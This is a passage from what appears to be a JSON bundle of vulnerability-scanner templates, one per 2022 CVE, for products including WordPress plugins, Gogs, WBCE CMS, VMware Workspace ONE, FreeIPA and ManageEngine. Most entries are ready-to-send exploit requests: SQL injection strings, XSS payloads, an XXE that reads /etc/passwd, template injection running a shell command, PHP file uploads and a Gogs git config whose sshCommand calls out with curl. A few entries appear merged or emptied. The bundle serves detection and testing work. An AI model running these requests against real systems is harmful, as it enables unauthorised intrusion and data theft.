Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/shib_logout.php?action=logout&return=https://example.com","{{BaseURL}}/ilias/shib_logout.php?action=logout&return=https://example.com"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)example\\.com\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0599","info":{"name":"WordPress Mapping Multiple URLs Redirect Same Page <=5.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")"],"condition":"and"},{"type":"word","part":"body","words":["id=\"mmursp_id\" value=\"\\\">\" />"]}]}]},{"id":"CVE-2022-46020","info":{"name":"WBCE CMS v1.5.4 -  Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/settings/index.php?advanced=yes HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/settings/save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadvanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true§ion_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=\n","POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988\n\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"reqid\"\n\ntest\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"cmd\"\n\nupload\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"target\"\n\nl1_Lw\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-php\n\n\n\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"mtime[]\"\n\ntest\n-----------------------------213974337328367932543216511988--\n","GET /media/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_6","words":["751a8ba516522786d551075a092a7a84"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"app_name","group":1,"regex":["name=\"app_name\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-32024","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22954","info":{"name":"VMware Workspace ONE Access - Server-Side Template Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Authorization context is not valid"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-1442","info":{"name":"WordPress Metform <=2.1.3 - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["mf_recaptcha_secret_key","admin_email_from"],"condition":"and"},{"type":"word","part":"header_2","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"id","group":1,"regex":["","Backdrop CMS"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"name","group":1,"regex":["name=\"name\" value=\"(.*?)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-4321","info":{"name":"PDF Generator for WordPress < 1.1.2 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","pdf-generator-for-wp"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44950","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"form_session_token\"\n\n{{nonce}}\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"entities_id\"\n\n24\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"forms_tabs_id\"\n\n29\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"name\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"short_name\"\n\ntest\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"type\"\n\nfieldtype_input\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[width]\"\n\ninput-small\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[default_value]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[is_unique]\"\n\n0\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[unique_error_msg]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"required_message\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip_item_page\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access_template\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[5]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[4]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"notes\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf--\n"],"cookie-reuse":true,"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2383","info":{"name":"WordPress Feed Them Social <3.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2376","info":{"name":"WordPress Directorist <7.3.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=directorist_author_pagination"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["directorist-authors__card__details__top","directorist-authors__card__info-list"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29775","info":{"name":"iSpy 7.2.2.0 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/logfile?d=crossdomain.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Log Start","Log File","iSpy"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1329","info":{"name":"Elementor Website Builder - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/ HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=336b29d7aee0463d8b651303eab505ea\n\n--336b29d7aee0463d8b651303eab505ea\nContent-Disposition: form-data; name=\"action\"\n\nelementor_upload_and_install_pro\n--336b29d7aee0463d8b651303eab505ea\nContent-Disposition: form-data; name=\"_nonce\"\n\n{{nonce}}\n--336b29d7aee0463d8b651303eab505ea\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"{{randstr}}.zip\"\n\n{{base64_decode(\"UEsDBBQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAZWxlbWVudG9yLXByby9VVA0AB8csB2TILAdkxywHZHV4CwABBOgDAAAE6AMAAFBLAwQUAAgACAB8KGdWAAAAAAAAAAA6BAAAHwAgAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAKVSXU/bQBB8rn/FgqryoXyUoFZqKAUTnBCJhshxQKiq0Nlex6ee705354T8++45AfLQ9qVv9u3s7OzMfr3QpQ66x8cBHMNU1AsuYcIq7EMksELplIGpUb56jTYzXDuuZB+SEncQD5ha7hCuai5yNFAyC9wBE6IPuWELYDKnD6VBswVCuoG1QPNnFKDRFJg5yNHyhWxBpVIuEAxaraTlSwTMueNy0Wp4KmWwAyN0YB0zDnOQarW3o38ej/tQOqdtv9vFF5GdTFXdi9pVT1bVJsPzlW7rpsF+8K8ZqzSj+eebx3ZtePNe0fC68uic2dKPCWtXKrPjkKf2hXs0tnHntPO5c/IG/V9FrGH5uyI/KcFnB9eqYpzmv47YFi81y35556OdAlxmzOFCmTUMyNIt9C1UbqEwiGBV4VbM0EmsVQ0Zk5RMzq0zPK0pc5+zzLvUUKmcF2tPQm+19Ifg6EwcmsqCKpqf0WRO0Uk0TMC0TgXP4JZnKC0C3Yz2L7akSNOGx3cMvYbZVgMMFREzf4MtQE51A8uN63D6MmNL2ILNmkyuQdCmr8jOn1Z92ygHuiHPUypN6kvm/D4rLgSkCLXFohYt309geBgnN3fzBMLJIzyEcRxOksczAlNgVMUlbqh4pQUnZtrBMOnWJNUzfI/iwQ21hFfj23HySIJhOE4m0WwGw7sYQpiGcTIezG/DGKbzeHo3izowQ6/K5/UvN4smEHIsR8e4sH7pbhAEvIDDPW4tusP3T6Mo+XHAMseX5M/Bz6Oj4J1BVxt5FgSYlQqq/NPh/uA+avc+9nrtk9Pel/0jqgUX34LfUEsHCH5L6n9mAgAAOgQAAFBLAQIUAxQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAAAAAAAAAAAD9QQAAAABlbGVtZW50b3ItcHJvL1VUDQAHxywHZMgsB2THLAdkdXgLAAEE6AMAAAToAwAAUEsBAhQDFAAIAAgAfChnVn5L6n9mAgAAOgQAAB8AIAAAAAAAAAAAALSBTAAAAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAgACAMkAAAAfAwAAAAA=\")}}\n--336b29d7aee0463d8b651303eab505ea--\n","GET /index.php?activate=1 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_4","words":["5f9bc5edd71c78284dabe630df8cd71d"]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["admin-ajax.php\",\"nonce\":\"([0-9a-zA-Z]+)\"}"],"internal":true}]}]},{"id":"CVE-2022-23898","info":{"name":"MCMS 5.2.5 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /cms/content/list HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncategoryId=1' and updatexml(1,concat(0x7e,md5({{num}}),0x7e),1) and 'zzz'='zzz\n"],"matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25"]}]}]},{"id":"CVE-2022-48012","info":{"name":"OpenCATS 0.9.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntag_title=\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(body_1, \"opencats - Login\")","contains(body_3, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-40359","info":{"name":"Kae's File Manager <=1.4.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /kfm/index.php/' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","x_kfm_changeCaption","kfm_copyFiles"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4050","info":{"name":"WordPress JoomSport <5.2.8 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmdId=1&shattr={\"id\":\"1+AND+(SELECT+1+FROM(SELECT+SLEEP(4))aaaa);--+-\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"jscaruselcont jsview2\")"],"condition":"and"}]}]},{"id":"CVE-2022-0870","info":{"name":"Gogs <0.12.5 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/migrate HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/migrate HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&clone_addr=https%3A%2F%2F{{interactsh-url}}&auth_username=&auth_password=&uid=1&repo_name={{randstr}}&description=test\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-43017","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=1&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=15)\">&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","CATS="],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34046","info":{"name":"WAVLINK WN533A8 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /sysinit.shtml?r=52300 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var syspasswd=\"","APP"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["syspasswd=\"(.+?)\""]}]}]},{"id":"CVE-2022-1937","info":{"name":"WordPress Awin Data Feed <=1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_2, \"text/html\")","status_code_2 == 200","contains(body_2, 'colspan=\\\"2\\\">')"],"condition":"and"}]}]},{"id":"CVE-2022-23808","info":{"name":"phpMyAdmin < 5.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","
Add a new server
","phpMyAdmin setup"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-33965","info":{"name":"WordPress Visitor Statistics <=5.7 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /?wmcAction=wmcTrack&url=test&uid=0&pid=0&visitorId=1331'+and+sleep(5)+or+' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"regex","regex":["^1331' and sleep\\(5\\) or '$"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2414","info":{"name":"FreeIPA - XML Entity Injection","severity":"high"},"requests":[{"raw":["POST /ca/rest/certrequests HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n<!--?xml version=\"1.0\" ?-->\n<!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<CertEnrollmentRequest>\n  <Attributes/>\n  <ProfileID>&ent;</ProfileID>\n</CertEnrollmentRequest>\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"body","words":["PKIException"]},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-0415","info":{"name":"Gogs <0.12.6 - Remote Command Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on\n","POST /{{username}}/{{randstr}}/upload-file HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nX-Requested-With: XMLHttpRequest\nX-Csrf-Token: {{auth_csrf}}\nContent-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395\n\n-----------------------------313811965223810628771946318395\nContent-Disposition: form-data; name=\"file\"; filename=\"config\"\nContent-Type: application/octet-stream\n\n[core]\n    repositoryformatversion = 0\n    filemode = true\n    bare = false\n    logallrefupdates = true\n    ignorecase = true\n    precomposeunicode = true\n    sshCommand = curl http://{{interactsh-url}} -I\n[remote \"origin\"]\n    url = git@github.com:torvalds/linux.git\n    fetch = +refs/heads/*:refs/remotes/origin/*\n[branch \"master\"]\n    remote = origin\n    merge = refs/heads/master\n-----------------------------313811965223810628771946318395--\n","POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"uuid","group":1,"regex":[" \"uuid\": \"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-39195","info":{"name":"LISTSERV 17 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E","{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["<script>alert(document.domain)</script>","LISTSERV"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40879","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=1 onerror=alert(document.domain)>=PQ</p>","\u8be5\u6587\u4ef6\u4e0d"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29455","info":{"name":"WordPress Elementor Website Builder <= 3.5.5 - DOM Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/elementor/readme.txt"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '<= 3.5.5')"]},{"type":"word","part":"body","words":["Elementor Website Builder"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"],"internal":true},{"type":"regex","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"]}]}]},{"id":"CVE-2022-32026","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5({{num}}),8,9,10,11--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47966","info":{"name":"ManageEngine - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /SamlResponseServlet HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSAMLResponse={{url_encode(base64(SAMLResponse))}}&RelayState=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Unknown error occurred while processing your request"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-4328","info":{"name":"WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------22728be7b3104597\n\n--------------------------22728be7b3104597\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n<?php echo md5(\"CVE-2022-4328\"); ?>\n\n--------------------------22728be7b3104597--\n","GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["fe5df26ce4ca0056ffae8854469c282f"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23134","info":{"name":"Zabbix Setup Configuration Authentication Bypass","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/zabbix/setup.php","{{BaseURL}}/setup.php"],"stop-at-first-match":true,"headers":{"Cookie":"zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"},"matchers-condition":"and","matchers":[{"type":"word","words":["Database","host","port","Zabbix"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29272","info":{"name":"Nagios XI <5.8.5 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1\nHost: {{Hostname}}\n","POST /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnsp={{nsp_token}}&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username={{username}}&password={{password}}&loginButton=Login\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}],"extractors":[{"type":"regex","name":"nsp_token","group":1,"regex":["<input type=\"hidden\" name=\"nsp\" value=\"(.*)\">","<input type='hidden' name='nsp' value='(.*)'>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-26138","info":{"name":"Atlassian Questions For Confluence - Hardcoded 